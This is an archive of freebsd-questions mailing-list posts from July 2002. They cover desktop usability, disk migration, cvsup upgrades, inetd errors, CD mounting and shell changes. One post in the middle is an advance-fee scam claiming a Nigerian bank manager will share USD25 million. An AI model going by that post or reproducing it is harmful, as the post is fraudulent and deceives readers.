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Date: Tue, 30 Jul 2002 17:15:19 +0200
From: Roman Neuhauser <neuhauser@bellavista.cz>
To: Peter Christie <christie@idsi.net>
Cc: grog@lemis.com, FreeBSD-Questions@freebsd.org
Subject: Re: What do we need in a FreeBSD desktop?
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> Date: Tue, 30 Jul 2002 09:35:39 EDT
> From: Peter Christie <christie@idsi.net>
> Subject: Re: What do we need in a FreeBSD desktop?
> 
> On 29 Jul 2002 12:36 EDT you wrote:
> 
> > > Date: Mon, 29 Jul 2002 11:21:35 EDT
> > > From: Peter Christie <christie@idsi.net>
> > > Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
> > > To: grog@lemis.com
> > > Cc: FreeBSD-Questions@freebsd.org
 
> > > for my wife and kids to use? not as it is now . . . it's hard enough
> > > keeping them up and runnning with windoze, and the kids are into games
> > 
> >     Pardon me, but if it's hard enough for someone to operate windows,
> >     why should freebsd try to be *the* os for them? clearly, and it's
> >     been said too many times, use a tool you can manage.
> 
> I didn't say M$ windoze was hard to operate, I did say it was hard to
> keep them up and running on windoze, with 3D video cards and force
> feedback joysticks and digital cameras and . . . I wouldn't want that
> challenge on a FreeBSD machine at this point in my learning.
 
    aha, so it was my lacking english. sorry.

> > > But the idea here is to set up a "convert" (be it from M$, Mac, or
> > > otherwise) with a 'basic' desktop system that can be up and running
> > > with minimum effort and complications. This would let more people
> > > 'use' FreeBSD as a desktop, and provide feedback for the developers.
> > 
> >     hm, i'm afraid freebsd is not for the faint of heart. if you're
> >     a {windows, mac} convert, you better start learning with a unixlike
> >     os aimed at you: redhat, mandrake, suse. *or* you have to get
> >     ready to rtfm, rtfm, rtfm.
> >     
> >     which is what i did. it's not a coincidence i oppose the idea of
> >     converting freebsd to another dualbooter's toy. the nature of
> >     freebsd has been very attractive to me, and i'm really glad this os
> >     is what it is.
> > 
> 
> I too am glad FreeBSD is what it is, and I utfm as needed ; )
> 
> I'm not really suggesting changing the nature of FreeBSD, but I do
> think an easy to install,  get up and running, basic desktop
> enviornment would greatly increase its user-base. . . advanced users
> could certainly choose the current stand/sysinstall
> 
> as a new user (which I still consider myself) I would certainly
> appreciate someone weeding through the 7000  ports and coming up with
> a basic set of programs which would provide a good starting point from
> which to work.

    which is what the greg's instantworkstation port tries to achieve,
    right?
 
> > > FreeBSD will never be a great desktop OS if you don't build a huge
> > > user-base, which will then get you support from manufacturers for
> > > drivers and such, as well as the 'other' software companies for
> > > user-land apps / games.
> > 
> >     i don't think this holds water, strictly speaking. freebsd already
> >     *is* a great desktop os: what is a "great desktop os" lies in the
> >     eye of the beholder. i've been using freebsd exclusively
> >     since last september. *for me*, it is the best desktop os i've ever
> >     used. it supports all the hardware and software i use, with just the
> >     right "ease of use". 
> > 
> >     i put the term "ease of use" in quotes, because it's actually
> >     something that is in the eye of the beholder, again.
>  
> I still think a larger user-base would make hardware and software
> companies provide better support for FreeBSD, which would further
> increase FreeBSD's user-base . . . FreeBSD wasn't written for 'YOU',
> I'm certainly glad you find it useful, but it should be made to appeal
> to as wide an audience as possible.

    yes, it's true that the more desktop/home users an os has, the more
    likely it is for hw vendors to support the os. but as i said:
    freebsd's hw support has been adequate for me, and so i don't see
    any reason to compromise this os' quality by making it
    point'n'clicky so that it was easy enough for my grandma.
    
    what i'm trying to say is: this os is really fine, its installer is
    by far the best of all installers i've seen (it's not perfect
    though, i've filed a pr two years ago, and it's still open :)

    whenever you encounter something that's too "hard" to do, the
    problem is that the procedure is underdocumented. (this is true even 
    for sendmail(8)*, which i've abandoned in favor of postfix a few days
    ago: the wealth of documentation!)

    *) sendmail is part of freebsd, and is not at the same time, so i'm
    not sure whether this really matters

    anyway, this is getting increasingly off topic, so take it to
    freebsd-chat@ if you like (i'm not subscribed :)

-- 
FreeBSD 4.6-STABLE
5:00PM up 37 mins, 4 users, load averages: 0.06, 0.01, 0.00

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From owner-freebsd-questions  Tue Jul 30  8:20:16 2002
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>  Monster.Com only lists 24 jobs matching "freebsd" nationwide :(
>  http://jobsearch.monster.com/jobsearch.asp?cy=US&re=14&brd=1&lid=&q=freebsd&sort=rv&vw=b

PS to Peter Leftwich's observation. The FreeBSD and generic BSD job
   availabilties on the national boards have been decreasing or flat
   for several months.

   I started collecting the numbers for dice, hotjob, and monster for
   almost every weekday since March to quantify the trends. I wish I had
   started spring 2001 to show the logrithmic decrease in jobs (halving
   about every 6 weeks).

   You do not have to be an old-timer to remember when freebsd-jobs was
   exclusively job offers. Then it became a flood of "looking for work",
   just before the stock market tanked (for the first time). now it is dead.

   Our sector will take a while to recover. Use the national boards as a
   tool, but also use your network of contacts.

--Mark Tinguely

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From owner-freebsd-questions  Tue Jul 30  8:24: 2 2002
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On Tue, 30 Jul 2002, Hanspeter Roth wrote:

> Ok. Thank you.
> And what about readcd? `dd if=/dev/acd0c of=image'?
>

I thought one needed bs=2048 for ISOs?

dd if=/dev/acd0c of=image.iso bs=2048

Fuz


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From owner-freebsd-questions  Tue Jul 30  8:24:40 2002
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From: Miguel Mendez <flynn@energyhq.homeip.net>
To: Taras Burko <admin@calvaria.org>
Cc: freebsd-questions@freebsd.org
Subject: Re: pkgdb command
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On Tue, 30 Jul 2002 16:15:41 +0300
Taras Burko <admin@calvaria.org> wrote:

> Hello freebsd-questions,
> 
>   I've seen many times in different forums/mailing lists
>   talks about pkgdb command, but can't find it on my 4.6 release.
>   Also can't find any references to it in ports.

pkgdb is part of portupgrade, which you can find in the sysutils section.

Cheers,
-- 
        Miguel Mendez - flynn@energyhq.homeip.net
        GPG Public Key :: http://energyhq.homeip.net/files/pubkey.txt
        EnergyHQ :: http://www.energyhq.tk
        Of course it runs NetBSD!

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From owner-freebsd-questions  Tue Jul 30  8:32:49 2002
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Date: Tue, 30 Jul 2002 17:31:05 +0200
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Subject: Hardware Support of Promise 20276
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I found this on freebsd 4.6 Hardware support

Promise ATA100 OEM chip (pdc20265)
Promise Fasttrak-33, -66, -100, -100 TX2/TX4
Promise Ultra-33, -66, -100

I'm going to buy Asus A7V333 with this promise Raid 
Controler and I just want to know if it is supported

thanks a lot

Benjamin CALAIS
calais.ben@libertysurf.fr
--------------
Pendant tout l'=E9t=E9, le modem ADSL Tiscali est gratuit.
Profitez en pour passer au Haut D=E9bit !
Cliquez ici, http://register.tiscali.fr/adsl/
Offre soumise =E0 conditions.



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From owner-freebsd-questions  Tue Jul 30  8:33:30 2002
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Date: Tue, 30 Jul 2002 17:34:08 +0200
From: Ruben de Groot <fbsd-q@bzerk.org>
To: "Balaji, Pavan" <pavan.balaji@intel.com>
Cc: "'Vijay Patel'" <talkwithpatel@yahoo.com>,
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Subject: Re: To keep running java code in background after logout
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On Tue, Jul 30, 2002 at 07:45:48AM -0700, Balaji, Pavan typed:
> 
> First of all I'm surprised that the code was still running in the background
> in Linux after you logout. Probably, you mean, you close the terminal window
> and not logout.

No, this is a very annoying Linuxism, or rather, bash'ism.
For some reason the people who coded that shell didn't appreciate
the subtle difference between a background job and the nohup mechanism.

> 
> Anyway, try using "nohup <command>"... It might help..
> 
> 
> Pavan Balaji,
> Intel Corporation
> Email: pavan.balaji@intel.com
> 
>     "Only the Paranoid Survive"  --  Andy Grove
> 
> 
> > -----Original Message-----
> > From: Vijay Patel [mailto:talkwithpatel@yahoo.com]
> > Sent: Tuesday, July 30, 2002 1:10 AM
> > To: freebsd-questions@FreeBSD.ORG
> > Subject: To keep running java code in background after logout
> > 
> > 
> > 
> > Hi friends,
> > 	I have installed FreeBSD 4.5 on my machine. I am also
> > having 2 other machines running on linux.
> > 	We have developed a code in java which we need to run
> > in background for 24 hrs. In linux we use...
> > 	java Code1 &
> > 	
> > 	command to run our code in background. After starting
> > this command we just logout from that terminal window.
> > We have seen that on linux machine our code works fine
> > in background.
> > 
> > 	When i have tested same code on our FreeBSD server,
> > unfortunately it gets killed, without writting any
> > error message in log file. We tried to search on all
> > help pages available about how to run our application
> > in background - on console window. We did not get any
> > help about this item.
> > 
> > 	My observations are... when i start code on FreeBSD,
> > then i issue ps command ...
> > 
> > bash-2.05a$ ps
> >   PID  TT  STAT      TIME COMMAND
> >  1006  p0  Ss     0:00.04 -bash (bash)
> >  1087  p0  S      0:00.20
> > /usr/local/jdk1.3.1/bin/i386/green_threads/java Code1
> >  1103  p0  R+     0:00.00 ps
> > 
> > 
> > 	After starting my code, i logout & relogin to check
> > whether my code is working in background or not....
> > 
> > bash-2.05a$ ps
> >   PID  TT  STAT      TIME COMMAND
> >  1087  p0- I      0:00.20
> > /usr/local/jdk1.3.1/bin/i386/green_threads/java Code1
> >  1105  p0  Ss     0:00.01 -bash (bash)
> >  1106  p0  R+     0:00.00 ps
> > 
> > 	It is showing that code is working right now. But
> > after 2-3 hours code automatically gets killed. I am
> > having good provision for keeping all error log iff my
> > code exists with an error. But here i am sure that it
> > is getting killed - so i am not getting any error log.
> > 
> > 	Can any friend help in how to keep my code working
> > without a terminal window. - I am starting my code
> > using ssh terminal from another machine. It is not
> > possible for me to go to front of server & start code
> > from server itself. Is there any idea how all deamon
> > processes works - Tomcat, Mysqld etc...
> > 
> > 	Thanks in advance.
> > 
> > __________________________________________________
> > Do You Yahoo!?
> > Yahoo! Health - Feel better, live better
> > http://health.yahoo.com
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> > 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

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From owner-freebsd-questions  Tue Jul 30  8:46:58 2002
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	Tue, 30 Jul 2002 18:46:46 +0300 (EEST)
Date: Tue, 30 Jul 2002 18:46:46 +0300
From: Alexandr Kovalenko <never@nevermind.kiev.ua>
To: William Allmendinger <allmenwf@udmercy.edu>
Cc: freebsd-questions@FreeBSD.org
Subject: Re: Security Branches
Message-ID: <20020730154646.GP12332@nevermind.kiev.ua>
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Hello, William Allmendinger!

On Tue, Jul 30, 2002 at 11:21:12AM -0400, you wrote:

> Please excuse what is possiblly a very easy question. How
> does one find out what the latest security branch is for a
> particular release? In the advisory for reslov, it states to
> upgrade you system to the latest security branch,
> 4.5-RELEASE-p7. How do I find out if this is the latest one
> to upgrade/install from. I can't move to 4.6 yet due to an
> isue with the boot loader and scsi, waiting for 6.1 to see
> if it has a fix. These are production systems and I need
> them as secure and stable as possible. Thanks.
Just track RELENG_4_5 branch.


P.S. Moving to freebsd-questions as it is FAQ.

-- 
NEVE-RIPE
Ukrainian FreeBSD User Group
http://uafug.org.ua/

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From owner-freebsd-questions  Tue Jul 30  9: 8: 7 2002
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Date: Tue, 30 Jul 2002 18:07:56 +0200
From: Roman Neuhauser <neuhauser@bellavista.cz>
To: freebsd-questions <freebsd-questions@freebsd.org>
Subject: moving an installation to another disk
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hi there,

i just bought new disk, and want to move my existing freebsd
installation over. i could install freebsd afresh on the new disk, and
copy important files (/etc/* /usr/local/etc/*) over, but i'd rather
avoid that. i have more than just configuration files on this computer,
and i *don't* want to reinstall all the software if i don't have to.

btw, i've read /usr/share/doc/en/articles/formatting-media/, and tried
to format the new disk (ad1) using /stand/sysinstall (fdisk +
disklabel). i managed to let fdisk confuse me with the confirm dialog
after pressing "w", and answered "no" (don't write). the newfs disklabel
performed then completely confused the system. my existing (ad0s1)
filesystems disappeared, and i had to cycle the power. the box then came
up just fine, thank you, but what the fsck was that?

also, the /usr/share/doc/en/articles/formatting-media/ howto is
obviously outdated (the behavior it describes doesn't match that
observed in reality), and /usr/share/doc/handbook/disks-adding.html is
inaccurate just as well. for example, it says "Sysinstall will not
create entries in /etc/fstab for you, so the mount point you specify is
not important". excuse me, but this is bs. sysinstall will
oh-so-willingly (try to) mount the fs at the mount point specified!

first, i don't remember asking it to do that.

second, if you specify a mount point with another fs mounted, sysinstall
won't newfs the new partitions.

hrmpf. i've been sitting on this mail on and off for a few hours, and it
perverted into more of a rant than a support question. sorry for that,
here is the question:

how do i transfer a freebsd install from one disk to another? the disks
are different, so afaik dd is not an option.

also, the current disk is partitioned into /, /tmp, /usr, /var, and
swap, and i'd rather have just /boot, /, and swap on the new one.

-- 
FreeBSD 4.6-STABLE
4:42PM up 19 mins, 4 users, load averages: 0.00, 0.05, 0.03

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From owner-freebsd-questions  Tue Jul 30  9:13: 4 2002
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From: "uwi mAn" <uwiman3k@hotmail.com>
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Subject: inetd[79]
Date: Tue, 30 Jul 2002 12:13:02 -0400
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Jul 30 19:15:51 crocodile inetd[79]: netbios-ns/udp server failing 
(looping), service terminated


Right after the system starts up, I get this. A possible workaround maybe?

Thanks.

_________________________________________________________________
Chat with friends online, try MSN Messenger: http://messenger.msn.com


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From owner-freebsd-questions  Tue Jul 30  9:18: 9 2002
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From: "Barry Byrne" <barry.byrne@wbtsystems.com>
To: "uwi mAn" <uwiman3k@hotmail.com>, <questions@FreeBSD.ORG>
Subject: RE: inetd[79]
Date: Tue, 30 Jul 2002 17:17:59 +0100
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inetd terminates service if the number of requests exceeds a certain limit
within a 60 second period. You can alter the entry in inetd.conf to change
the limit.

man inetd.conf for more details.

Cheers,

Barry

> Jul 30 19:15:51 crocodile inetd[79]: netbios-ns/udp server failing
> (looping), service terminated
>
>
> Right after the system starts up, I get this. A possible workaround maybe?
>
> Thanks.
>
> _________________________________________________________________
> Chat with friends online, try MSN Messenger: http://messenger.msn.com
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>



--
Barry Byrne, IT Manager,
WBT Systems, Block 2, Harcourt Centre
Harcourt Street, Dublin 2, Ireland

Phone:  +353 1 417 0150
Fax:    +353 1 478 5544
Email:  barry.byrne@wbtsystems.com
Web:    www.wbtsystems.com


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From owner-freebsd-questions  Tue Jul 30  9:22:17 2002
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From: " MRS. AGOGO KOBE" <mrskobe_1@mail.com>
Date: Tue, 30 Jul 2002 17:21:45
To: freebsd-questions@FreeBSD.org
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          UNION BANK NIGERIA PLC
             LAGOS NIGERIA
          40/46 marina street Lagos

 FROM THE DESK OF MRS. AGOGO KOBE
 MANAGER,BILLS AND EXCHANGE.
 TEL:234-80-33357110
 FAX:234-1-7590893
ATTN ,
  REQUEST FOR BUSINESS PARTNERSHIP

 I AM THE MANAGER OF BILLS AND EXCHANGE AT THE FOREIGN REMITTANCE
 DEPARTMENT OF THIS BANK. IAM WRITING YOU FOLLOWING THE IMPRESSIVE
 INFORMATION ABOUT YOU THROUGH ONE OF MY FRIENDS WHO WORKED WITH
 THE NIGERIAN CHAMBER OF COMERCE BEFORE HIS TRANSFER TO THE NIGERIAN
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 IN MY DEPARTMENT, WE DISCOVERED AN ABANDONED SUM OF USD25MILLION(TWENTY FIVE MILLION UNITED STATES DOLLARS ONLY) IN A DOMICILIARY ACCOUNT THAT BELONGS TO ONE OF OUR FOREIGN CUSTOMERS WHO DIED IN A GHASTLY PLANE CRASH IN JANUARY 2000 ABOARD KENYA AIRWAYS ALONG WITH HIS ENTIRE FAMILY.

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 NEXT- OF- KIN TO COME OVER AND CLAIM THE MONEY BECAUSE WE CANNOT
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 THE MONEY TO YOU AS THE NEXT OF KIN  OR RELATION OF THE DECEASED
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 THE REQUEST FOR A FOREIGNER AS  NEXT OF KIN IN THIS BUSINESS IS
 OCCASIONED BY THE FACT THAT THE CUSTOMER WAS A FOREIGNER AND A
NIGERIA CANNOT STAND AS NEXT OF KIN TO A FOREIGNER. WE HAVE AGREED THAT
 25% OF THIS MONEY WILL BE FOR YOU AS FOREIGN PARTNER, THEREAFTER
  MY COLLEAGUE AND I WILL VISIT YOUR COUNTRY FOR THE DISBURSEMENT
 ACCORDING TO THE AGREED PERCENTAGES. PERSONALLY, I WOULD WANT YOU TO ADVISE ME ON THE BEST AREA OF INVESTMENT BECAUSE I AM CONSIDERING TO INVEST THE GREATER PROPORTION OF MY SHARE IN YOUR COUNTRY.

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 THE TEXT OF THE APPLICATION WHICH YOU WILL BE REQUIRED TO SUMIT TO
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 YOURS FAITHFULLY,

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To: Chris Shenton <chris@shenton.org>
Cc: questions@FreeBSD.ORG, multimedia@FreeBSD.ORG
Subject: Re: PhotoCD: ata/acd mount issue, data overrun with lockup
References: <87d6tcgfan.fsf@thanatos.shenton.org>
From: Jason Baker <jbaker@cs.utah.edu>
Date: 30 Jul 2002 11:46:02 -0600
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Chris Shenton <chris@shenton.org> writes:

> A friend gave me a CD burned by a film processing lab and I had
> problems mounting or dd'ing it off:
> 
>     thanatos# mount /dev/acd0a /cdrom
>     mount: /dev/acd0a on /cdrom: incorrect super block
> 
>     thanatos# mount_msdos /dev/acd0a /cdrom
>     mount_msdos: /dev/acd0a: Invalid argument
> 
>     thanatos# mount_cd9660  /dev/acd0a /cdrom
>     mount_cd9660: /dev/acd0a: Invalid argument
> 
>     thanatos# dd if=/dev/acd0c of=/tmp/cdnoise
>     dd: /dev/acd0c: Invalid argument
>     0+0 records in
>     0+0 records out
>     0 bytes transferred in 0.000214 secs (0 bytes/sec)
> 
> I was finally able to mount it per the hint on the mount_cd9660 man
> page with:
> 
>     thanatos# mount_cd9660 -o rw -v -s 0 /dev/acd0c /cdrom/

Ah, I had the same problem when I tried to create my own multisession
cd.  What the hell does `-s <non-zero>' do exactly?  Does it mount the
combined filesystem of that session and all previous ones, or just the
filesystem on that particular track.  Does freebsd read multisession
discs at all?

Jason

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From owner-freebsd-questions  Tue Jul 30 10:58:55 2002
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To: Jason Baker <jbaker@cs.utah.edu>
Cc: questions@FreeBSD.ORG, multimedia@FreeBSD.ORG
Subject: Re: PhotoCD: ata/acd mount issue, data overrun with lockup
References: <87d6tcgfan.fsf@thanatos.shenton.org>
	<6zheihp0rp.fsf@nephi.cs.utah.edu>
From: Chris Shenton <chris@shenton.org>
Date: 30 Jul 2002 13:58:49 -0400
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Jason Baker <jbaker@cs.utah.edu> writes:

Chris>     thanatos# mount_cd9660 -o rw -v -s 0 /dev/acd0c /cdrom/

> Ah, I had the same problem when I tried to create my own multisession
> cd.  What the hell does `-s <non-zero>' do exactly?  Does it mount the
> combined filesystem of that session and all previous ones, or just the
> filesystem on that particular track.  Does freebsd read multisession
> discs at all?

Dunno.  If I understand correctly, multisession allows you burn data,
then later add more? So I expect the -s <non-zero> would allow you to
add to the end if it couldn't find it.

Maybe when I tried to mount the photocd, it assumed I wanted to be
able to add to it (a CDRW burned by the film processing company), so
used a non-zero sector, which had no valid filesystem.  So I had to
tell it to mount from the beginning where the data had already been
burned. That's my best guess.

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From owner-freebsd-questions  Tue Jul 30 11: 5:51 2002
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Subject: Latest RELENG_4_6?
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I cvsup'd using the following parameters two days ago:

*default  host=cvsup2.FreeBSD.org
*default  base=/usr
*default  prefix=/usr
*default  release=cvs
*default  tag=RELENG_4_6
*default  delete use-rel-suffix

src-all
*default tag=.
ports-all
doc-all


I built and installed the system, expecting to get FreeBSD 4.6p2 or 4.6p3.
   However, my dmesg says:

FreeBSD 4.6.1-RELEASE #0: Mon Jul 29 01:23:31 PDT 2002

I don't see any mention of 4.6.1 in /usr/src/UPDATING.  Have I indeed got 
the latest version of RELENG_4_6?  I just wanted security fixes etc.  I don'
t want any experimental stuff.

Please reply to me offlist.  Thanks!

--
Mark Edwards
San Francisco, CA


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From owner-freebsd-questions  Tue Jul 30 11:15:13 2002
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Subject: Confused with make installworld
From: G Norm <gnorm@mac.com>
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Hello,

I am trying to cvsup to 4.6 release. I performed the following task 
after installing from a 4.4 CD.

cd /etc/cvsupfile
*default host=cvsup.FreeBSD.org
*default base=/usr
*default prefix=/usr
*default release=cvs
*default tag=RELENG_4_6_0_RELEASE
*default delete use-rel-suffix

src-all
*default tag=.
ports-all
doc-all

# /usr/local/bin/cvsup -g -L 2 /etc/cvsupfile
This part of the update worked fine.


#edit /etc/make.conf
CFLAGS= -0 -pipe
NOPROFILE=	true	# Avoid compiling profiled libraries
saved changes

# script ~/buildworld.out
Script started, output file is ~/buildworld.out
# make buildworld
got an error message - 'cannot make buildworld'

I continued the upgrade because I think this is optional.

# cd /usr/src
# make -j4 buildworld
# make buildkernel
# make installkernel
reboot to single user mode

#cd /usr/src
directory not found.
  I was not able to do a make installworld because there is no /usr/src. 
/usr only have hidden files. In full user mode /usr/src is there with 
several files and directories.

I then rebooted back into full user mode. During the boot process I 
noticed my system is using FreeBSD 4.6 Release.

Can someone tell me what's happening here? How can I be using 4.6 
release without running make installworld? Have I done something wrong, 
if so what?

Thanks
Greg


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From owner-freebsd-questions  Tue Jul 30 11:23:32 2002
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Date: Tue, 30 Jul 2002 11:23:20 -0700
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G Norm wrote:

> Hello,
> 
> I am trying to cvsup to 4.6 release. I performed the following task 
> after installing from a 4.4 CD.
> 
> cd /etc/cvsupfile
> *default host=cvsup.FreeBSD.org
> *default base=/usr
> *default prefix=/usr
> *default release=cvs
> *default tag=RELENG_4_6_0_RELEASE
> *default delete use-rel-suffix
> 
> src-all
> *default tag=.
> ports-all
> doc-all
> 
> # /usr/local/bin/cvsup -g -L 2 /etc/cvsupfile
> This part of the update worked fine.
> 
> 
> #edit /etc/make.conf
> CFLAGS= -0 -pipe
> NOPROFILE=    true    # Avoid compiling profiled libraries
> saved changes
> 
> # script ~/buildworld.out
> Script started, output file is ~/buildworld.out
> # make buildworld
> got an error message - 'cannot make buildworld'
> 
> I continued the upgrade because I think this is optional.
> 
> # cd /usr/src
> # make -j4 buildworld
> # make buildkernel
> # make installkernel
> reboot to single user mode
> 
> #cd /usr/src
> directory not found.
>  I was not able to do a make installworld because there is no /usr/src. 
> /usr only have hidden files. In full user mode /usr/src is there with 
> several files and directories.
> 
> I then rebooted back into full user mode. During the boot process I 
> noticed my system is using FreeBSD 4.6 Release.
> 
> Can someone tell me what's happening here? How can I be using 4.6 
> release without running make installworld? Have I done something wrong, 
> if so what?


Did you forget to mount your HDs. I have /usr/src in its own partition 
and it isn't part of /usr on my main HD. The first thing I do is 
"mount -a" to get my HDs.

Kent


> 
> Thanks
> Greg
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> .
> 


-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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I'm currently using the default installed shell "sh" and was wondering
how to change my users to the "bash" shell.  I've installed it using
packages so it should be on my machine correctly, but that's as far as I
know.
 
Also, I've connected into a few web servers through telnet and have
noticed that you can create a color-scheme for different file types, and
was wondering how to set this up myself.
 
Any help would be greatly appreciated.
 
 
- Matthew Metnetsky
 
 
/**************************************************************
 
      Matthew Metnetsky
 
      met@uberstats.com
 
**************************************************************/

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currently using the default installed shell "sh" and was wondering how =
to change=20
my users to the "bash" shell.&nbsp; I've installed it using packages so =
it=20
should be on my machine correctly, but that's as far as I=20
know.</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana color=3D#0000ff size=3D2><SPAN=20
class=3D777125818-30072002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana color=3D#0000ff size=3D2><SPAN=20
class=3D777125818-30072002>Also, I've connected into a few web servers =
through=20
telnet and have noticed that you can create a color-scheme for different =
file=20
types, and was wondering how to set this up myself.</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana color=3D#0000ff size=3D2><SPAN=20
class=3D777125818-30072002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana color=3D#0000ff size=3D2><SPAN =
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help would be greatly appreciated.</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana color=3D#0000ff size=3D2><SPAN=20
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<DIV><FONT face=3DVerdana color=3D#0000ff size=3D2><SPAN =
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Matthew Metnetsky</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana color=3D#0000ff size=3D2><SPAN=20
class=3D777125818-30072002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana color=3D#0000ff size=3D2><SPAN =
class=3D777125818-30072002>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA"></SPAN>&nbsp;</DIV>
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style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">/**************************************************************</S=
PAN></DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA"></SPAN>&nbsp;</DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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Matthew Metnetsky</SPAN></DIV>
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AR-SA">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT=20
color=3D#ff0000>met@uberstats.com</FONT></SPAN></DIV>
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AR-SA"></SPAN>&nbsp;</DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: AR-SA"><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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Subject: Re: Changing my Shell & Customizing the Console
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Date: Tue, 30 Jul 2002 15:18:00 -0400 (EDT)
Cc: freebsd-questions@FreeBSD.ORG
In-Reply-To: <002e01c237fc$1cd6a330$6901a8c0@SURVIVAL> from "MET" at Jul 30, 2002 03:05:45 PM
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> 
> I'm currently using the default installed shell "sh" and was wondering
> how to change my users to the "bash" shell.  I've installed it using
> packages so it should be on my machine correctly, but that's as far as I
> know.

First, edit /etc/shells and list it there.
Then,  edit your users' shell field so they get it when they log in.
         use vipw or one of the various admin houskeeping tools available.
////jerry

>  
> Also, I've connected into a few web servers through telnet and have
> noticed that you can create a color-scheme for different file types, and
> was wondering how to set this up myself.
>  
> Any help would be greatly appreciated.
>  
>  
> - Matthew Metnetsky
>  
>  
> /**************************************************************
>  
>       Matthew Metnetsky
>  
>       met@uberstats.com
>  
> **************************************************************/
> 

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On Tue, 30 Jul 2002, MET wrote:
> Date: Tue, 30 Jul 2002 15:05:45 -0400
> From: MET <met@uberstats.com>
> To: freebsd-questions@FreeBSD.ORG
> Subject: Changing my Shell & Customizing the Console
> 
> I'm currently using the default installed shell "sh" and was wondering
> how to change my users to the "bash" shell.  I've installed it using
> packages so it should be on my machine correctly, but that's as far as I
> know.
>  

Users can change their own shell by using the chsh(1) command. They can 
also modify other personal data with this. I believe you can set this at 
user creation time with the adduser(8) utility. See its man page.

> Also, I've connected into a few web servers through telnet and have
> noticed that you can create a color-scheme for different file types, and
> was wondering how to set this up myself.
>  
> Any help would be greatly appreciated.
>  

Do you mean syntax highlighting in an editor, such as vim? Or as the 
result of an ls command?

/* 
 * John Bleichert
 * syborg@stny.rr.com
 * http://vonbek.dhs.org/latest.jpg
 */


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From: "MET" <met@uberstats.com>
To: <freebsd-questions@FreeBSD.ORG>
Subject: CVS
Date: Tue, 30 Jul 2002 15:24:25 -0400
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I'm currently working on a web site with about 5 other people spread
throughout the U.S. and figured that setting up CVS to maintain the
chaos would be great.  However I have no idea how.  Naturally I've
skimmed through cvshome.org, but I have a strange feeling with all that
FreeBSD does with CVS that it probably comes pre-installed and is purely
a matter of setting it up for my specific project?. 
 
Is that true?
 
- Matthew Metnetsky
 
 
/**************************************************************
 
      Matthew Metnetsky
 
      met@uberstats.com
 
**************************************************************/

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color=3D#0000ff size=3D2>I'm=20
currently working on a web site with about 5 other people spread =
throughout the=20
U.S. and figured that setting up CVS to maintain the chaos would be =
great.&nbsp;=20
However I have no idea how.&nbsp; Naturally I've skimmed through =
cvshome.org,=20
but I have a strange feeling with all that&nbsp;FreeBSD does with CVS =
that it=20
probably comes pre-installed and is purely a matter of setting it up for =
my=20
specific project?.&nbsp;</FONT></SPAN></DIV>
<DIV><SPAN class=3D588411719-30072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D588411719-30072002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>Is=20
that true?</FONT></SPAN></DIV>
<DIV><SPAN class=3D588411719-30072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D588411719-30072002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>-=20
Matthew Metnet</FONT></SPAN><SPAN class=3D588411719-30072002><FONT =
face=3DVerdana=20
color=3D#0000ff size=3D2>sky</FONT></SPAN></DIV>
<DIV><SPAN class=3D588411719-30072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D588411719-30072002>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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AR-SA"></SPAN>&nbsp;</DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
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<DIV align=3Dleft><SPAN=20
